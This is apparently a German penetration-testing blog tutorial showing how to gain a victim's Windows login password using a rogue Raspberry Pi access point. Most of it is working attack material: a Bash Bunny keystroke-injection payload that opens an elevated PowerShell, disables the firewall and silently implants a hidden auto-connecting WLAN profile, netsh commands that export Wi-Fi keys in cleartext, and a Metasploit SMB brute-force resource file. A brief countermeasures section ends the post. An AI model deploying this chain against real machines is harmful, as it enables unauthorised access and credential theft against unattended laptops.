Brute Force Windows Login Passwort mit Rogue Access Point

Gehören Sie auch zu denjenigen Nutzern, die grundsätzlich das WLAN auf Ihrem Notebook eingeschaltet haben? Auch wenn Sie unterwegs sind und es gar nicht benötigen? 

Wie gefährlich dies unter Umständen sein kann, möchte ich im folgenden Beitrag nachweisen.

Das Szenario

Der Angreifer platziert einen mobilen Access Point (1) in die Nähe des Zielobjektes. Nun wartet er ab, bis der Nutzer des Zielsystems (2) das Notebook einen kurzen Moment unbeaufsichtigt lässt und installiert mit Hilfe des Bash Bunny (3) ein WLAN-Profil auf den PC. Somit hat er eine permanente WLAN-Verbindung geschaffen, die bestehen bleibt bzw. immer wieder hergestellt wird, sobald der Nutzer sich mit seinem Notebook in der Nähe des Access Points aufhält. Da sich nun auch der Angreifer mit seinem Notebook (4) im Empfangsbereich des Access Points aufhält, kann er mit Hilfe vom Kali Linux und Metasploit das Login Passwort auf den Opfer-PC erlangen.

Was wird benötigt?

Hardware

  • Raspberry Pi 3 oder 4
  • USB Long-Range USB-Adapter
  • Netzteil für Raspberry Pi oder besser ein PowerPack
  • Bash Bunny oder P4wnP1 für den HID-Angriff

Software

  • Raspap-webgui
  • Metasploit-Framework
Raspberry Pi 3 oder 4 mit USB-WLAN-Adapter
USB-WLAN-Adapter von ALFA
Netzteil für Raspberry Pi oder besser ein PowerPack für den mobilen Einsatz

Zuerst die Theorie

Jede etablierte WLAN-Verbindung wird auf dem Windows-PC als Profil gespeichert. Diese Profile lassen sich mit dem Windows-Befehl netsh anzeigen, löschen, exportieren oder einrichten. Nachfolgend einige Beispiele:

#Alle gespeicherten Profile anzeigen
netsh wlan show profiles

#WLAN-Profil „T-Mobil“ in xml-Datei ins Verzeichnis c:\users\name\desktop exportieren
#Mit key=clear wird das WLAN-Passwort in der xml-Datei gespeichert.
netsh wlan export profile name=“T-Mobile“ key=clear folder=c:\users\name\desktop

#Profil „T-Mobil“ löschen
netsh wlan delete profile name=“T-Mobil“

#Windows-PC mit einem WLAN verbinden
netsh wlan set hostednetwork mode=allow ssid=SSID key=password
netsh wlan start hostednetwork
netsh firewall set opmode disable

WLAN-Profile erstellen und exportieren – grundsätzliche Vorgehensweise

Wir gehen davon aus, dass Sie einen Access Point mit dem Raspberry Pi erstellt haben. Gute Anleitungen finden Sie hier oder hier.

WLAN-Profil in xml-Datei exportieren:

Zunächst sollten Sie das WLAN-Profil mittels eines Windows 10-PC auslesen. Verbinden Sie sich mit dem Access Point und exportieren Sie es als xml-Datei auf den Desktop des PC.

netsh wlan export profile name=“Telkom“ key=clear folder=C:\Users\frank\desktop

In diesem Fall erhalten wir die Datei WLAN-Telkom.xml mit folgendem Inhalt.

Powershell-Skript erstellen

Als nächstes erstellen sie eine einfache Textdatei mit folgendem Inhalt und speichern diese als wlan-connect.ps1 ab:

netsh wlan add profile filename="WLAN-Telkom.xml“

HID-Skript für den Keystroke-Injection-Angriff mit Hilfe des Bash Bunny

Für unser Vorhaben benötigen wir zwei Dateien. Ein Powershell-Skript, das wesentliche Inhalte der oben beschriebenen Dateien enthält. Es wurde mit verschiedenen Variablen und Befehlen ergänzt, um flexibel einsetzbar zu sein.

Außerdem erstellen wir eine Payload-Datei, die später vom Bash Bunny ausgeführt werden kann.

Powershell-Skript –  wifiprofile.ps1

# Fill in mandatory details for the WiFi network
$WirelessNetworkSSID = 'Telkom'
$WirelessNetworkPassword = 'Telkom2020'
$Authentication = 'WPA2PSK' # Could be WPA2
$Encryption = 'AES'

# Create the WiFi profile, set the profile to auto connect
$WirelessProfile = @'
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
	<name>{0}</name>
	<SSIDConfig>
		<SSID>
			<name>{0}</name>
		</SSID>
		<nonBroadcast>true</nonBroadcast>
	</SSIDConfig>
	<connectionType>ESS</connectionType>
	<connectionMode>auto</connectionMode>
	<MSM>
		<security>
			<authEncryption>
				<authentication>{2}</authentication>
				<encryption>{3}</encryption>
				<useOneX>false</useOneX>
			</authEncryption>
			<sharedKey>
				<keyType>passPhrase</keyType>
				<protected>false</protected>
				<keyMaterial>{1}</keyMaterial>
			</sharedKey>
		</security>
	</MSM>
</WLANProfile>
'@ -f $WirelessNetworkSSID, $WirelessNetworkPassword, $Authentication, $Encryption

# Create the XML file locally
$random = Get-Random -Minimum 1111 -Maximum 99999999
$tempProfileXML = "$env:TEMP\tempProfile$random.xml"
$WirelessProfile | Out-File $tempProfileXML

# Add the WiFi profile and connect
Start-Process netsh ('wlan add profile filename={0}' -f $tempProfileXML)

# Connect to the WiFi network - only if you need to
Start-Process netsh ('wlan connect name="{0}"' -f $WirelessNetworkSSID)

Im oberen Teil des Skriptes haben Sie die Möglichkeit die Parameter des von Ihnen genutzten Access Points einzupflegen.  Im unteren Bereich werden die notwendigen Befehle auf dem Windows PC ausgeführt.

Bash Bunny Payload – payload.txt

#!/bin/bash
#
# Title:         Implant Wifi Profile in Windows PC
# Author:        pentestit.de	
# Version:       1.1
# Target:        Windows 10
# 
#The PowerShell script creates a WiFi Profile on a Windows PC 

#Executes wifiprofile.ps1

# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
source bunny_helpers.sh
LED SETUP
ATTACKMODE HID STORAGE
LED ATTACK
Q  GUI r
Q  DELAY 1000
Q  STRING powershell start-process powershell -Verb runas
Q  ENTER
Q  DELAY 1000
Q  LEFTARROW
Q  DELAY 10000
Q  ENTER 
Q  DELAY 1000
Q  STRING set-Netfirewallprofile -profile private -enabled false
Q  ENTER	
Q  DELAY 1000
Q  STRING exit
Q  ENTER
Q  DELAY 1000 
Q  GUI r
Q  STRING powershell -ExecutionPolicy bypass -windowstyle hidden ".((gwmi win32_volume -f 'label=''BASHBUNNY''').Name+'payloads\\$SWITCH_POSITION\wifiprofile.ps1')"
Q  ENTER
LED FINISH

Mittels des Befehles „ATTACKMODE HID STORAGE“ wird der Bash Bunny als „Speichermedium“ genutzt. Dadurch haben wir die Möglichkeit das Powershell-Skript wifiprofile.ps1 direkt vom USB-Gerät zu starten. Eine anderweitige Übertragung (z.B. aus dem Internet) wird damit überflüssig.

Gemäß unserem Szenario muss nun noch der Bash Bunny an „Opfer-Notebook“ angeschlossen werden. Der Payload wird automatisch ausgeführt und dies erzeugt das notwendige WLAN-Profil für den angemeldeten Nutzer. Der Angreifer kann sich nun ebenfalls im Netzwerk anmelden und den Passwort-Angriff durchführen.

Brute-Force Angriff mit Hilfe von Metasploit

Um an das Login-Passwort des angemeldeten Nutzers zu gelangen, benötigen wir eine Sammlung möglicher Passwörter und ein Metasploit-Modul aus dem Framework.

Passwortliste erstellen

Hier haben Sie unendlichen Möglichkeiten. Entweder greifen Sie auf fertige Listen zurück oder Sie nutzen einen der Passwort-Generatoren und füllen die Datei mit Ihren eigenen Inhalten. Kali Linux 2020.1 stellt eine Vielzahl dieser Listen im Verzeichnis /usr/share/seclists/Passwords/ zur Verfügung. In die Datei userlist.txt tragen Sie die möglichen Nutzernamen ein, die auf dem PC verwendet werden.

Metasploit-Modul und Ressource-Datei

Nun muss noch eine Ressource-Datei (smb.rc) erstellt werden, die folgenden Inhalt haben könnte:

se auxiliary/scanner/smb/smb_login
set RHOSTS 10.3.141.223
set STOP_ON_SUCCESS true
set USER_FILE userlist.txt
set PASS_FILE /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
run

Tragen Sie hier unter RHOST die IP-Adresse des Ziels ein und starten Sie die Metasploit-Konsole zusammen mit der Ressource-Datei:

msfconsole -r smb.rc 

Das Metasploit-Module arbeitet nach und nach im Hintergrund die Passwörter in der Liste ab und beendet die Suche sobald das passende Kennwort gefunden wurde.

Gegenmaßnahmen

Unbefugte sollten niemals Zugang zum eigenen PC erlangen, um diesen HID-Angriff starten zu können.

Normalerweise arbeitet jeder Nutzer auf einem Windows System mit Benutzerrechten. Sobald eine Anwendung erweiterte Berechtigungen benötigt, wird ein Dialogfeld angezeigt. Hier muss der Nutzer nun bestätigen, dass das aufgerufene Programm mit administrativen Rechten ausgeführt werden kann. Im Gegensatz zu einem Linux-Betriebssystem sieht Windows standardmäßig hierfür nur ein Ja/Nein Abfrage vor. Ein anderes Verhalten können Sie aber in der Registry einstellen.

Wenn einmal ein entsprechendes WLAN-Profil eingerichtet wurde, bleibt es bis zum Löschen gespeichert. Standardmäßig versucht der PC ,bei entsprechender Verfügbarkeit, eine Verbindung aufzubauen. Sie können versuchen, nicht mehr benötigte Profile mit den o.g. Befehl zu löschen.

Der Access Point ist in diesem Beispiel so konfiguriert, dass der Netzwerkname nicht in der Liste der verfügbaren Drahtlosnetzwerke angezeigt wird. Somit lässt sich die Gefahr noch schwerer erkennen.

Als zuverlässigen Schutz bleibt hier nur das WLAN am PC manuell abzuschalten, wenn es unterwegs nicht benötigt wird.

Das folgende Video zeigt die Vorgehensweise:

Schreibe einen Kommentar

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.